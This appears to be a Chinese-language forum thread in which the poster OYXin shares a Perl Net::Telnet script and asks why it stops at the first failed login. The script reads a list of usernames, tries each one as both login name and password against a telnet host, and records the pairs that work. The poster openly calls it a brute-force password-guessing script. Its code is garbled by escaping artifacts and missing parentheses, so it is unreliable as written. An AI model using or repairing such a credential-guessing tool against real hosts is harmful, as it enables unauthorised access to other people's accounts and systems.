关于Net::Telnet 模块的一个问题.

OYXin

open(READ,"<$userfile";
open(WRITE,">;>;$host.txt";
print WRITE "user        passwd\n";




while(my $user = <READ>
{
        my $telnet = Net::Telnet->;new(Host =>;"$host",Timeout =>; 30);
        if(!$telnet)
        {
        print "sorry,it seems that you can't telnet it!";
        exit;
        }
        my $result = $telnet->;login(Name=>;$user,Password =>;$user);
        $telnet->;close;
        print "$result\n";
        if($result == 1)
        {
        print WRITE "$_                $_\n";
        }
}
close WRITE;
close READ;
不知道为什么每次用户名和密码不匹配的时候,就退出整个程序了.

OYXin

ok,这些信息足够了,我去试试,再次表示感谢,aplie,我心目中的hacker.

OYXin

aplie啊,如果你不能登陆上去怎么取匹配提示富了?还有默认的誊录login passwd都能匹配到的,信息是:不正确的的用户名的密码就完了,而如果成功就给我一个1,这个应该是成功了$result被赋予的直.能在给点提示2>;?

OYXin

apile您误会我意思了,看程序可以看出是从一个user文件里面读出用户名,然后测试是否有用户名和密码重复的用户,所以前提是你并不知道那个用户的确定密码,可以说是一个暴力猜测密码的script.当程序发现用户名和密码不对的时候就自动退出不继续执行了,这个问题没有解决,应为如果我从来没有登陆上这个机器的话怎么知道是什么提示符了??^_^.

OYXin

恩,这个问题解决了,感谢的话就不说了阿.^_^